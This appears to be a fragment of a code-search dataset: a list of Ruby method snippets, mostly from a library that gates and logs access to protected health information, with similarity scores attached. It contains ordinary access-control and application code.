"def disallow_phi\n raise ArgumentError, 'block required. use disallow_phi! without block' unless block_given?\n\n __phi_stack.push({\n phi_access_allowed: false\n })\n\n yield if block_given?\n\n __phi_stack.pop\n end",
"def allow_phi!(user_id = nil, reason = nil)\n raise ArgumentError, 'block not allowed. use allow_phi with block' if block_given?\n\n user_id ||= self.class.current_user\n reason ||= self.class.i18n_reason\n raise ArgumentError, 'user_id and reason cannot be blank' if user_id.blank? || reason.blank?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n @__phi_access_stack.push({\n phi_access_allowed: true,\n user_id: user_id,\n reason: reason\n })\n\n PhiAttrs::Logger.info(\"PHI Access Enabled for '#{user_id}': #{reason}\")\n end\n end",
"def add_disallow_flag!\n @__phi_access_stack.push({\n phi_access_allowed: false\n })\n end",
"def extend_phi_access(*methods)\n self.__phi_extend_methods = methods.map(&:to_s)\n end",
"def include_in_phi(*methods)\n self.__phi_include_methods = methods.map(&:to_s)\n end",
"def enable()\n fail \"#{self} already enabled\" if @enabled\n @klasses.each_pair do |k,methods|\n methods.each_pair do |method_sym, (orig,blk)|\n new_meth = instrument_method(k,method_sym,orig,blk)\n k.class_eval do\n define_method method_sym, &new_meth\n end\n end\n end\n @enabled = true\n end",
"def put_on_a_hat\n\n # set all instance variables we have in the sinatra request object\n self.instance_variables.each { |v| @sinatra.instance_variable_set(v, self.instance_variable_get(v)) }\n\n end",
"def set_site_visitor\n ensure_code_cookie\n record_login(current_user) if current_user\n end",
"def access_control\n \n end",
"def phi_allowed?\n __phi_stack.present? && __phi_stack[-1][:phi_access_allowed]\n end",
"def authenticates_access\n include InstanceMethods\n end",
"def enable_authentication_controls(prepare_only=false)\n Rails.logger.debug(\" #{self.class.name}.#{__method__}(#{name}) Token=#{person_authentication_key}\")\n return self if prepare_only\n self.proxy_u.active= true\n self.last_access = Time.zone.now\n update_storage_object(person_authentication_key.to_sym, self)\n true\n end",
"def allow_phi(user_id = nil, reason = nil, allow_only: nil, &block)\n get_phi(user_id, reason, allow_only: allow_only, &block)\n return\n end",
"def get_phi(user_id = nil, reason = nil, allow_only: nil)\n raise ArgumentError, 'block required' unless block_given?\n\n if allow_only.present?\n raise ArgumentError, 'allow_only must be iterable with each' unless allow_only.respond_to?(:each)\n raise ArgumentError, \"allow_only must all be `#{name}` objects\" unless allow_only.all? { |t| t.is_a?(self) }\n raise ArgumentError, 'allow_only must all have `allow_phi!` methods' unless allow_only.all? { |t| t.respond_to?(:allow_phi!) }\n end\n\n # Save this so we don't revoke access previously extended outside the block\n frozen_instances = __instances_with_extended_phi.index_with { |obj| obj.instance_variable_get(:@__phi_relations_extended).clone }\n\n if allow_only.nil?\n allow_phi!(user_id, reason)\n else\n allow_only.each { |t| t.allow_phi!(user_id, reason) }\n end\n\n result = yield if block_given?\n\n __instances_with_extended_phi.each do |obj|\n if frozen_instances.include?(obj)\n old_extensions = frozen_instances[obj]\n new_extensions = obj.instance_variable_get(:@__phi_relations_extended) - old_extensions\n obj.send(:revoke_extended_phi!, new_extensions) if new_extensions.any?\n else\n obj.send(:revoke_extended_phi!) # Instance is new to the set, so revoke everything\n end\n end\n\n if allow_only.nil?\n disallow_last_phi!\n else\n allow_only.each { |t| t.disallow_last_phi!(preserve_extensions: true) }\n # We've handled any newly extended allowances ourselves above\n end\n\n result\n end",
"def visitor\n @visitor ||= user_signed_in? ? current_user : UserAnon.new(session)\n end",
"def protected_instance_methods(include_super=true) end",
"def __phi_wrapped_methods\n excluded_methods = self.class.__phi_exclude_methods.to_a\n included_methods = self.class.__phi_include_methods.to_a\n\n attribute_names - excluded_methods + included_methods - [self.class.primary_key]\n end",
"def enable_targets_to_self_add_access=(value)\n @enable_targets_to_self_add_access = value\n end",
"def enable_tracking\n @DoNotTrack = false\n #Enable do not track for admin and any future employees. Har har. Employees. Yah right.\n if user_signed_in? && current_user.is_admin?\n @DoNotTrack = true\n end\n true\n end",
"def temporary_access_pass_methods=(value)\n @temporary_access_pass_methods = value\n end",
"def __phi_extended_methods\n self.class.__phi_extend_methods.to_a\n end",
"def activate!\n raise NotImplementedError\n end",
"def register_advice_methods!\n scope # force calculation of scope before aliasing methods.\n\n @mutex.synchronize do\n return self if @advice_methods_registered\n\n this = self\n mod_target.instance_eval do\n define_method(this.before_meth, &this.advice.before)\n define_method(this.after_meth, &this.advice.after)\n define_method(this.around_meth, &this.advice.around)\n end\n\n @advice_methods_registered = true\n end\n self\n end",
"def enable!\n @mutex.synchronize do\n @advised.each { | x | x.enable! }\n end\n self\n end",
"def setup(force = false)\n logger.debug { \"#{self.class}##{__method__}\" }\n self.save! if self.changed? || self.new_record?\n return unless self.active? || force\n provision_agents\n secure_identity_file\n end",
"def activate\n Page.send :include, IfIdTags\n end",
"def instrument_additional_methods\n instrument_save_methods\n instrument_relation_methods\n end",
"def enable!\n tracers.each(&:enable!)\n end",
"def enable!; end",
"def phi_allowed_by\n phi_context[:user_id]\n end",
"def protected_methods(all=true) end",
"def enable_profiling\n if current_user && CurateND::AdminConstraint.is_admin?(current_user.username)\n Rack::MiniProfiler.authorize_request\n end\n end",
"def allow_phi(user_id = nil, reason = nil, &block)\n get_phi(user_id, reason, &block)\n return\n end",
"def phi_wrap_method(method_name)\n unless respond_to?(method_name)\n PhiAttrs::Logger.warn(\"#{self.class.name} tried to wrap non-existant method (#{method_name})\")\n return\n end\n return if self.class.__phi_methods_wrapped.include? method_name\n\n wrapped_method = :\"__#{method_name}_phi_wrapped\"\n unwrapped_method = :\"__#{method_name}_phi_unwrapped\"\n\n self.class.send(:define_method, wrapped_method) do |*args, **kwargs, &block|\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n unless phi_allowed?\n raise PhiAttrs::Exceptions::PhiAccessException, \"Attempted PHI access for #{self.class.name} #{@__phi_user_id}\"\n end\n\n unless all_phi_context_logged?\n PhiAttrs::Logger.info(\"#{self.class.name} access by [#{all_phi_allowed_by}]. Triggered by method: #{method_name}\")\n set_all_phi_context_logged\n end\n\n send(unwrapped_method, *args, **kwargs, &block)\n end\n end\n\n # method_name => wrapped_method => unwrapped_method\n self.class.send(:alias_method, unwrapped_method, method_name)\n self.class.send(:alias_method, method_name, wrapped_method)\n\n self.class.__phi_methods_wrapped << method_name\n end",
"def activate\n\n # Add helper to retrieve the users country\n ApplicationHelper.send(:include, Spree::ZonePricing::GetCountry)\n # Add helper to retrieve the users country, used by a number of controllers\n Spree::BaseController.send(:include, Spree::ZonePricing::GetCountry)\n\n # Add additional associations to allow m:m relationship\n # between zones<->variants\n Zone.send(:include, Spree::ZonePricing::Zone)\n Variant.send(:include, Spree::ZonePricing::Variant)\n\n # Override add_variant method so that we can use zone pricing\n Order.send(:include, Spree::ZonePricing::Order)\n\n # Override price\n ProductsHelper.send(:include, Spree::ZonePricing::ProductsHelper)\n\n # Add action to countries controller to handle country selection\n CountriesController.send(:include, Spree::ZonePricing::CountriesController)\n # Add code to set the currently country in the order\n OrdersController.send(:include, Spree::ZonePricing::OrdersController)\n # Add code to save zone prices\n Admin::VariantsController.send(:include, Spree::ZonePricing::Admin::VariantsController)\n # Add code to check zone prices after address is saved during checkout, if ship\n # country not the same change prices in order\n CheckoutsController.send(:include, Spree::ZonePricing::CheckoutsController)\n\n end",
"def register_funnel_visitor\n @current_visitor = FunnelCake.engine.visitor_class.create(\n :ip=>request.remote_ip.to_s\n )\n @current_visitor.user_id = current_user.id if logged_in?\n @current_visitor.save\n cookies[self.class.read_inheritable_attribute(:cookie_name)] = {\n :value => @current_visitor.id,\n :expires => 1.year.from_now\n }\n end",
"def enable!\n @mutex.synchronize do\n return self if @enabled\n\n this = self\n mod_target.instance_eval do\n case this.scope\n when :public\n else\n public this.meth\n end\n\n alias_method this.old_meth, this.meth if\n ! method_defined? this.old_meth\n\n alias_method this.meth, this.new_meth\n\n case this.scope\n when :private\n private this.meth\n when :protected\n protected this.meth\n end\n end\n\n enabled!\n @enabled = true\n end\n self\n end",
"def toggle_guest_access\n raise NotImplementedError\n end",
"def global_proxy_exclusion\n super\n end",
"def phi_log_keys\n @__phi_log_id = persisted? ? \"Key: #{attributes[self.class.primary_key]}\" : \"Object: #{object_id}\"\n @__phi_log_keys = [PHI_ACCESS_LOG_TAG, self.class.name, @__phi_log_id]\n end",
"def self\n @define_self = true",
"def superadminify\n without_access_control do\n User.module_eval do\n def role_symbols\n @role_symbols = [ :superadmin ]\n end\n end\n\n request.session[:auth_via] = 'cas'\n request.session[:user_id] = users(:one)\n end\n end",
"def all_phi_allowed_by\n self.class.__user_id_string(all_phi_context)\n end",
"def proxy; self end",
"def public_proxy?; end",
"def public_proxy?; end",
"def enableAttack _obj, _args\n \"_obj enableAttack _args;\" \n end",
"def setup!\n setup_instance_methods!\n self\n end",
"def enableAIFeature _obj, _args\n \"_obj enableAIFeature _args;\" \n end",
"def enable\n end",
"def disallow_phi\n raise ArgumentError, 'block required. use disallow_phi! without block' unless block_given?\n\n add_disallow_flag!\n add_disallow_flag_to_extended_phi!\n\n yield if block_given?\n\n remove_disallow_flag_from_extended_phi!\n remove_disallow_flag!\n end",
"def protected(*syms) end",
"def lock_self_and_visits!\n self.lock!\n self.visits(:lock => true)\n end",
"def taint() end",
"def gt_enable!\n unless self.gt_enabled?\n self.gt_enabled = true\n\n self.cohorts << Settings::User.current_cohort unless self.cohorts.include? Settings::User.current_cohort\n GT::UserManager.ensure_users_special_rolls(self, true)\n\n self.save(:validate => false)\n\n public_roll = self.public_roll\n if (self.user_type == User::USER_TYPE[:real] || self.user_type == User::USER_TYPE[:converted])\n public_roll.roll_type = Roll::TYPES[:special_public_real_user]\n end\n public_roll.save(:validate => false)\n end\n end",
"def set_authenticated\n instance_variable_set(:@authenticated, true )\n end",
"def add_disallow_flag_to_extended_phi!(relations = nil)\n relations ||= @__phi_relations_extended\n relations.each do |relation|\n relation.add_disallow_flag! if relation.present? && relation_klass(relation).included_modules.include?(PhiRecord)\n end\n end",
"def _activate\n\t\t\tend",
"def set_advertiser\n @advertiser = @current_user.advertiser\n end",
"def make_public!\n reinitialize_rules!\n allow_if do\n true\n end\n return self\n end",
"def track_visitor\n return if ignore_funnel_tracking?\n register_funnel_visitor unless visitor_registered?\n end",
"def enable_enforce(enabled = true)\n self.enabled = enabled\n end",
"def proxies; end",
"def activate\n RestrictedPage\n # admin.tabs.add \"Restricted Page\", \"/admin/restricted_page\", :after => \"Layouts\", :visibility => [:all]\n end",
"def proxy\n self.class.proxy.new(session)\n end",
"def enableSimulationGlobal _obj, _args\n \"_obj enableSimulationGlobal _args;\" \n end",
"def proxy\n super\n end",
"def anonymous_vpn?; end",
"def anonymous_vpn?; end",
"def instance_variables() end",
"def control_proxies\n @@control_proxies = [] unless defined?(@@control_proxies)\n @@control_proxies\n end",
"def set_philosopher\n @philosopher = Philosopher.find(params[:id])\n end",
"def activate!\n @activated = true\n\n self.active = true\n \n # Authlogic resets the perishable token by default on save, but I'm leaving the call\n # to reset_perishable_token! here directly to help reveal intent (which's is kinda a\n # dead purpose after this long comment, but who cares).\n #\n # This also saves the record.\n #\n reset_perishable_token!\n end",
"def protect()\n res = super(context,self)\n return res\n end",
"def enable\n end",
"def allow_registration(method); end",
"def public_instance_methods(include_super=true) end",
"def proxy_exclusion\n super\n end",
"def add_accessors\n @flavor.class.send(:attr_accessor, :guard_sets)\n @flavor.guard_sets = {}\n end",
"def enable(thing = Types::Boolean.new(true))\n instrument(:enable, thing) { |payload|\n adapter.add self\n\n gate = gate_for(thing)\n payload[:gate_name] = gate.name\n\n adapter.enable self, gate, gate.wrap(thing)\n }\n end",
"def initialize\n @router = Router.new\n add_head_not_allowed_methods_and_options_methods\n self.class.endpoints.each do |endpoint|\n endpoint.mount_in(@router)\n end\n\n @router.compile!\n @router.freeze\n end",
"def initialize(plan)\n @scope = :global\n\t @plan = plan\n\t super()\n\t @plan_predicates = Array.new\n\t @neg_plan_predicates = Array.new\n\tend",
"def exposed_singleton_methods\n exposing_class_ancestors = self.class.ancestors.select { |ancestor| ancestor < LocalObject }\n preferences = exposing_class_ancestors.reverse\n .map(&:_sumac_instance_expose_preferences)\n preferences << _sumac_singleton_expose_preferences\n cumulative_preferences = preferences.inject(:merge)\n cumulative_preferences.exposed\n end",
"def get_phi(user_id = nil, reason = nil)\n raise ArgumentError, 'block required' unless block_given?\n\n extended_instances = @__phi_relations_extended.clone\n allow_phi!(user_id, reason)\n\n result = yield if block_given?\n\n new_extensions = @__phi_relations_extended - extended_instances\n disallow_last_phi!(preserve_extensions: true)\n revoke_extended_phi!(new_extensions) if new_extensions.any?\n\n result\n end",
"def sup \n SuperProxy.new(self) \n end",
"def private_instance_methods(include_super=true) end",
"def enable\n {\n method: \"Security.enable\"\n }\n end",
"def enable_targets_to_self_add_access\n return @enable_targets_to_self_add_access\n end",
"def proxy; end",
"def proxy; end",
"def proxy; end",
"def instance_methods(include_super=true) end",
"def activate; end"
] |
[
"0.7059626",
"0.66665703",
"0.6350187",
"0.6343351",
"0.585181",
"0.5555523",
"0.55301267",
"0.5483396",
"0.54405427",
"0.53088737",
"0.52103704",
"0.50905037",
"0.50786835",
"0.4952914",
"0.49471173",
"0.48807272",
"0.48795852",
"0.48789966",
"0.48156694",
"0.475089",
"0.47346997",
"0.47131512",
"0.4673599",
"0.46315464",
"0.46165106",
"0.46115565",
"0.4597089",
"0.45845586",
"0.45728567",
"0.45715135",
"0.4562449",
"0.45623958",
"0.4544317",
"0.45427352",
"0.45404184",
"0.4538144",
"0.4536134",
"0.45313022",
"0.45233622",
"0.4522281",
"0.45217",
"0.45160732",
"0.45147547",
"0.45101228",
"0.44806322",
"0.44734192",
"0.44656003",
"0.44643483",
"0.44637182",
"0.4415428",
"0.4414021",
"0.44119298",
"0.44119298",
"0.44063753",
"0.43882376",
"0.43714222",
"0.43678164",
"0.43676534",
"0.43662128",
"0.4363171",
"0.43536115",
"0.4349249",
"0.4345647",
"0.4339476",
"0.43360096",
"0.43277383",
"0.43161872",
"0.430914",
"0.4307924",
"0.43073857",
"0.43045953",
"0.43037584",
"0.43010414",
"0.42943636",
"0.4294318",
"0.4294318",
"0.42940402",
"0.42920756",
"0.42830962",
"0.42747062",
"0.42698592",
"0.4268463",
"0.426649",
"0.42636636",
"0.42624086",
"0.42612058",
"0.42592612",
"0.4258294",
"0.42511892",
"0.4249927",
"0.42473286",
"0.42407516",
"0.42370024",
"0.42348796",
"0.4230878",
"0.4227484",
"0.4227484",
"0.4227484",
"0.4223381",
"0.42189357"
] |
0.54841894
|
7
|
Enable PHI access for any instance of this class in the block given only.
|
def allow_phi(user_id = nil, reason = nil, allow_only: nil, &block)
get_phi(user_id, reason, allow_only: allow_only, &block)
return
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n message = __phi_stack.present? ? \"PHI access disabled for #{__user_id_string(__phi_stack)}\" : 'PHI access disabled. No class level access was granted.'\n\n __reset_phi_stack\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end",
"def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n removed_access_for = self.class.__user_id_string(@__phi_access_stack)\n\n revoke_extended_phi!\n @__phi_access_stack = []\n\n message = removed_access_for.present? ? \"PHI access disabled for #{removed_access_for}\" : 'PHI access disabled. No instance level access was granted.'\n PhiAttrs::Logger.info(message)\n end\n end",
"def disallow_last_phi!\n raise ArgumentError, 'block not allowed' if block_given?\n\n removed_access = __phi_stack.pop\n message = removed_access.present? ? \"PHI access disabled for #{removed_access[:user_id]}\" : 'PHI access disabled. No class level access was granted.'\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end",
"def disallow_phi\n raise ArgumentError, 'block required. use disallow_phi! without block' unless block_given?\n\n __phi_stack.push({\n phi_access_allowed: false\n })\n\n yield if block_given?\n\n __phi_stack.pop\n end",
"def allow_phi!(user_id = nil, reason = nil)\n raise ArgumentError, 'block not allowed. use allow_phi with block' if block_given?\n\n user_id ||= current_user\n reason ||= i18n_reason\n raise ArgumentError, 'user_id and reason cannot be blank' if user_id.blank? || reason.blank?\n\n __phi_stack.push({\n phi_access_allowed: true,\n user_id: user_id,\n reason: reason\n })\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(\"PHI Access Enabled for '#{user_id}': #{reason}\")\n end\n end",
"def disallow_last_phi!(preserve_extensions: false)\n raise ArgumentError, 'block not allowed' if block_given?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n removed_access = @__phi_access_stack.pop\n\n revoke_extended_phi! unless preserve_extensions\n message = removed_access.present? ? \"PHI access disabled for #{removed_access[:user_id]}\" : 'PHI access disabled. No instance level access was granted.'\n PhiAttrs::Logger.info(message)\n end\n end",
"def allow_phi!(user_id = nil, reason = nil)\n raise ArgumentError, 'block not allowed. use allow_phi with block' if block_given?\n\n user_id ||= self.class.current_user\n reason ||= self.class.i18n_reason\n raise ArgumentError, 'user_id and reason cannot be blank' if user_id.blank? || reason.blank?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n @__phi_access_stack.push({\n phi_access_allowed: true,\n user_id: user_id,\n reason: reason\n })\n\n PhiAttrs::Logger.info(\"PHI Access Enabled for '#{user_id}': #{reason}\")\n end\n end",
"def wrap_phi\n # Disable PHI access by default\n @__phi_access_stack = []\n @__phi_methods_extended = Set.new\n @__phi_relations_extended = Set.new\n\n # Wrap attributes with PHI Logger and Access Control\n __phi_wrapped_methods.each { |m| phi_wrap_method(m) }\n __phi_extended_methods.each { |m| phi_wrap_extension(m) }\n end",
"def require_phi!\n raise PhiAccessException, 'PHI Access required, please call allow_phi or allow_phi! first' unless phi_allowed?\n end",
"def disallow_phi\n raise ArgumentError, 'block required. use disallow_phi! without block' unless block_given?\n\n add_disallow_flag!\n add_disallow_flag_to_extended_phi!\n\n yield if block_given?\n\n remove_disallow_flag_from_extended_phi!\n remove_disallow_flag!\n end",
"def add_disallow_flag!\n @__phi_access_stack.push({\n phi_access_allowed: false\n })\n end",
"def get_phi(user_id = nil, reason = nil, allow_only: nil)\n raise ArgumentError, 'block required' unless block_given?\n\n if allow_only.present?\n raise ArgumentError, 'allow_only must be iterable with each' unless allow_only.respond_to?(:each)\n raise ArgumentError, \"allow_only must all be `#{name}` objects\" unless allow_only.all? { |t| t.is_a?(self) }\n raise ArgumentError, 'allow_only must all have `allow_phi!` methods' unless allow_only.all? { |t| t.respond_to?(:allow_phi!) }\n end\n\n # Save this so we don't revoke access previously extended outside the block\n frozen_instances = __instances_with_extended_phi.index_with { |obj| obj.instance_variable_get(:@__phi_relations_extended).clone }\n\n if allow_only.nil?\n allow_phi!(user_id, reason)\n else\n allow_only.each { |t| t.allow_phi!(user_id, reason) }\n end\n\n result = yield if block_given?\n\n __instances_with_extended_phi.each do |obj|\n if frozen_instances.include?(obj)\n old_extensions = frozen_instances[obj]\n new_extensions = obj.instance_variable_get(:@__phi_relations_extended) - old_extensions\n obj.send(:revoke_extended_phi!, new_extensions) if new_extensions.any?\n else\n obj.send(:revoke_extended_phi!) # Instance is new to the set, so revoke everything\n end\n end\n\n if allow_only.nil?\n disallow_last_phi!\n else\n allow_only.each { |t| t.disallow_last_phi!(preserve_extensions: true) }\n # We've handled any newly extended allowances ourselves above\n end\n\n result\n end",
"def allow_phi(user_id = nil, reason = nil, &block)\n get_phi(user_id, reason, &block)\n return\n end",
"def phi_allowed?\n !phi_context.nil? && phi_context[:phi_access_allowed]\n end",
"def privileged(&block)\n ensure_mode(:privileged)\n instance_eval(&block)\n end",
"def disable_paranoid\n if block_given?\n @paranoid = false\n yield\n else\n raise 'Only block form is supported'\n end\n ensure\n @paranoid = true\n end",
"def phi_allowed?\n __phi_stack.present? && __phi_stack[-1][:phi_access_allowed]\n end",
"def execute_in_protected_mode(&block)\n run_as_user do\n shield.with_protected_mode(&block)\n end\n end",
"def lock_self_and_visits!\n self.lock!\n self.visits(:lock => true)\n end",
"def set_site_visitor\n ensure_code_cookie\n record_login(current_user) if current_user\n end",
"def phi_allowed_by\n phi_context[:user_id]\n end",
"def enable()\n fail \"#{self} already enabled\" if @enabled\n @klasses.each_pair do |k,methods|\n methods.each_pair do |method_sym, (orig,blk)|\n new_meth = instrument_method(k,method_sym,orig,blk)\n k.class_eval do\n define_method method_sym, &new_meth\n end\n end\n end\n @enabled = true\n end",
"def get_phi(user_id = nil, reason = nil)\n raise ArgumentError, 'block required' unless block_given?\n\n extended_instances = @__phi_relations_extended.clone\n allow_phi!(user_id, reason)\n\n result = yield if block_given?\n\n new_extensions = @__phi_relations_extended - extended_instances\n disallow_last_phi!(preserve_extensions: true)\n revoke_extended_phi!(new_extensions) if new_extensions.any?\n\n result\n end",
"def unprotected(&block)\n begin\n @unprotected = true\n block.call\n ensure\n @unprotected = false\n end\n end",
"def enable_authentication_controls(prepare_only=false)\n Rails.logger.debug(\" #{self.class.name}.#{__method__}(#{name}) Token=#{person_authentication_key}\")\n return self if prepare_only\n self.proxy_u.active= true\n self.last_access = Time.zone.now\n update_storage_object(person_authentication_key.to_sym, self)\n true\n end",
"def protect(callback = :before_save, &block)\n add_callback(callback) do |from, to|\n unless @unprotected\n instance_exec(from, to, &block)\n end\n end\n end",
"def verify_tenant_access\n begin\n\n yield\n\n MultiTenant.pending_verification.each do |pending|\n rec, model = pending\n curr_id = MultiTenant.current_tenant.id\n\n multi_tenant_incr(rec)\n\n rec_tenant = rec.send(model)\n if rec_tenant.nil? then\n # if no tenant, then must be globally accessible\n multi_tenant_decr()\n return\n end\n\n other_id = rec_tenant.id\n if curr_id != other_id then\n # PANIC\n multi_tenant_reset()\n raise AccessException, \"illegal access: tried to access tenant.id=#{other_id}; current_tenant.id=#{curr_id}\"\n end\n\n multi_tenant_decr()\n end\n\n ensure\n MultiTenant.pending_verification.clear\n MultiTenant.current_tenant = nil\n end\n end",
"def toggle_guest_access\n raise NotImplementedError\n end",
"def extend_phi_access(*methods)\n self.__phi_extend_methods = methods.map(&:to_s)\n end",
"def access_control\n \n end",
"def allow_if(&block)\n @allow_if << block\n return self\n end",
"def include_in_phi(*methods)\n self.__phi_include_methods = methods.map(&:to_s)\n end",
"def add_disallow_flag_to_extended_phi!(relations = nil)\n relations ||= @__phi_relations_extended\n relations.each do |relation|\n relation.add_disallow_flag! if relation.present? && relation_klass(relation).included_modules.include?(PhiRecord)\n end\n end",
"def allow_anon\n end",
"def protect()\n res = super(context,self)\n return res\n end",
"def anonymous_only(&block)\n if !logged_in?\n block.call\n end\n end",
"def temporary_access_pass_methods=(value)\n @temporary_access_pass_methods = value\n end",
"def enable!\n @mutex.synchronize do\n @advised.each { | x | x.enable! }\n end\n self\n end",
"def enable_targets_to_self_add_access=(value)\n @enable_targets_to_self_add_access = value\n end",
"def instance_final_activate\n self.instance_result =\n self.instance_block.map{ |name, inst|\n inst.(self.inst)\n } unless self.instance_block.nil?\n self.kinder\n .each{ |os|\n os.instance_final_activate unless os.reusable?\n }\n self\n end",
"def all_phi_allowed_by\n self.class.__user_id_string(all_phi_context)\n end",
"def before_gateways(kb_transaction, last_transaction, payment_source, amount_in_cents, currency, options, context = nil)\n end",
"def activate\n RestrictedPage\n # admin.tabs.add \"Restricted Page\", \"/admin/restricted_page\", :after => \"Layouts\", :visibility => [:all]\n end",
"def regulate_scope(name, &block)\n name, block = __synchromesh_parse_regulator_params(name, block)\n singleton_class.send(:define_method, :\"__secure_remote_access_to_#{name}\") do |this, acting_user, *args|\n r = this.send(name, *args)\n r = ReactiveRecordPsuedoRelationArray.new(r) if r.is_a? Array\n __set_synchromesh_permission_granted(this, r, r, acting_user, args, &block)\n end\n end",
"def allowSecurityManagement()\n banner(\"Allow Security\")\n @run.society.each_enclave() do |enclave|\n securityAgents = getSecurityAgents(enclave)\n securityAgentsName = \"SecurityAgentsIn#{enclave}\"\n declareSet(securityAgentsName, securityAgents)\n permit(enclaveAgentsName(enclave), securityAgentsName,\n \"AllowSecurityManagement-#{enclave}-I\",\n [ enclave ])\n permit(securityAgentsName, enclaveAgentsName(enclave),\n \"AllowSecurityManagement-#{enclave}-II\",\n [ enclave ])\n end\n end",
"def enable!\n @mutex.synchronize do\n return self if @enabled\n\n this = self\n mod_target.instance_eval do\n case this.scope\n when :public\n else\n public this.meth\n end\n\n alias_method this.old_meth, this.meth if\n ! method_defined? this.old_meth\n\n alias_method this.meth, this.new_meth\n\n case this.scope\n when :private\n private this.meth\n when :protected\n protected this.meth\n end\n end\n\n enabled!\n @enabled = true\n end\n self\n end",
"def enable!; end",
"def enable_only_if(&block)\n set_or_return(:enable_only_if, block, kind_of: Proc)\nend",
"def allow(&block)\n collect_bucket(&block)\n scope = @_env.nil?? :global : @_env\n if @_bucket.any?\n @_allowed_routes[scope].push(@_bucket).flatten!\n end\n @_bucket = nil\n end",
"def protected(*syms) end",
"def protect(protectee, protector)\n PublicMethodCache.set!(protector)\n\n # Extract the eigenclass (the class on which `def self.x; end` would be\n # defined) of any object\n # https://medium.com/@ethan.reid.roberts/rubys-anonymous-eigenclass-putting-the-ei-in-team-ebc1e8f8d668\n eigenclass = (class << protectee; self; end)\n\n # Rewrite eigenclass' future public instance methods\n Rewriter.add_instance_rewrite_hooks!(eigenclass, protector)\n # Rewrite eigenclass' future public singleton methods\n Rewriter.add_singleton_rewrite_hooks!(eigenclass, protector)\n end",
"def protected_methods(all=true) end",
"def plan_only\n unless current_user\n redirect_to \"/\", :alert => \"Access denied. You must be a member to suggest a charity. Explore with us as a member now for free.\"\n end\n end",
"def protected_instance_methods(include_super=true) end",
"def t__75!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 20)\n\n type = T__75\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 26:9: 'protected'\n match(\"protected\")\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 20)\n\n end",
"def accept visitor\r\n visitor.accept_hard_break self\r\n end",
"def permitted_to! (privilege, options = {} )\n options = {\n :user => Authorization.current_user,\n :object => self\n }.merge(options)\n\nlogger.debug \"Checking for: #{self.class.name}\"\n\n Authorization::Engine.instance.permit!(privilege,\n {:user => options[:user],\n :object => options[:object]})\n end",
"def regulate_relationship(name, &block)\n name, block = __synchromesh_parse_regulator_params(name, block)\n define_method(:\"__secure_remote_access_to_#{name}\") do |this, acting_user, *args|\n this.class.__set_synchromesh_permission_granted(\n nil, this.send(name, *args), this, acting_user, &block\n )\n end\n end",
"def activate\n Page.send :include, IfIdTags\n end",
"def temp(tenant_session, &block)\n original = self.tenant_session\n begin\n self.tenant_session = tenant_session\n yield\n ensure\n self.tenant_session = original\n end\n end",
"def enable_tracking\n @DoNotTrack = false\n #Enable do not track for admin and any future employees. Har har. Employees. Yah right.\n if user_signed_in? && current_user.is_admin?\n @DoNotTrack = true\n end\n true\n end",
"def enableAttack _obj, _args\n \"_obj enableAttack _args;\" \n end",
"def transient(&block)\n #--\n # Newly defined modules/classes will be marked as transient\n # and their names will be stored as transient constants in parent module.\n # All assignments to constants in existing modules are transient.\n # All method definitions added to transient method dictionaries.\n # All methods defined via Object#extend or Module#include\n # will be transient even if target class is persistable.\n # Constant removal that finds constant in a persistent module will raise exception.\n # Method removal that finds method in a persistent module will raise exception.\n #++\n rctx = RubyContext\n save_pm = rctx.persistence_mode\n res = nil\n begin\n rctx.persistence_mode=(false)\n res = yield\n ensure\n rctx.persistence_mode=(save_pm)\n end\n res\n end",
"def unguarded(&block)\n @guard_count += 1\n super\n end",
"def disable_authentication_controls(prepare_only=false)\n Rails.logger.debug(\" #{self.class.name}.#{__method__}(#{name}) Token=#{person_authentication_key}\")\n return self if prepare_only\n self.last_access = Time.zone.now\n delete_storage_object(person_authentication_key.to_sym)\n proxy_u.save!\n true\n end",
"def allow_register= v\n @allow_register = v\n @allow_register.freeze unless @allow_register.frozen?\n end",
"def parent &block\n unless @_iv.context\n raise 'Host scope is not available'\n end\n\n if block\n @_iv.context.instance_exec(&block)\n else\n @_iv.context\n end\n end",
"def visitor\n @visitor ||= user_signed_in? ? current_user : UserAnon.new(session)\n end",
"def accept visitor\n visitor.accept_hard_break self\n end",
"def block_friend\n end",
"def register_advice_methods!\n scope # force calculation of scope before aliasing methods.\n\n @mutex.synchronize do\n return self if @advice_methods_registered\n\n this = self\n mod_target.instance_eval do\n define_method(this.before_meth, &this.advice.before)\n define_method(this.after_meth, &this.advice.after)\n define_method(this.around_meth, &this.advice.around)\n end\n\n @advice_methods_registered = true\n end\n self\n end",
"def enable!\n tracers.each(&:enable!)\n end",
"def block!\n self.update_attribute(:status, ConfigCenter::User::BLOCKED)\n end",
"def guest_user(_user)\n if RuntimeConfig.vote_signin_active?\n can :access, :sessions\n end\n end",
"def itself_only!(*)\n self.itself_only_value = true\n self\n end",
"def warden(&block); end",
"def remove_disallow_flag!\n @__phi_access_stack.pop\n end",
"def plan(&block)\n @plan = block\n end",
"def put_on_a_hat\n\n # set all instance variables we have in the sinatra request object\n self.instance_variables.each { |v| @sinatra.instance_variable_set(v, self.instance_variable_get(v)) }\n\n end",
"def policy name, &body\n self.active_policy = {}\n instance_exec &body\n self.ctx[name] = self.active_policy\n end",
"def set_acl_statement\n super\n end",
"def foreign_visitor?\n not user\n end",
"def block_processed\n if @registration && @registration.voted_digitally?\n redirect_to thanks_url\n end\n end",
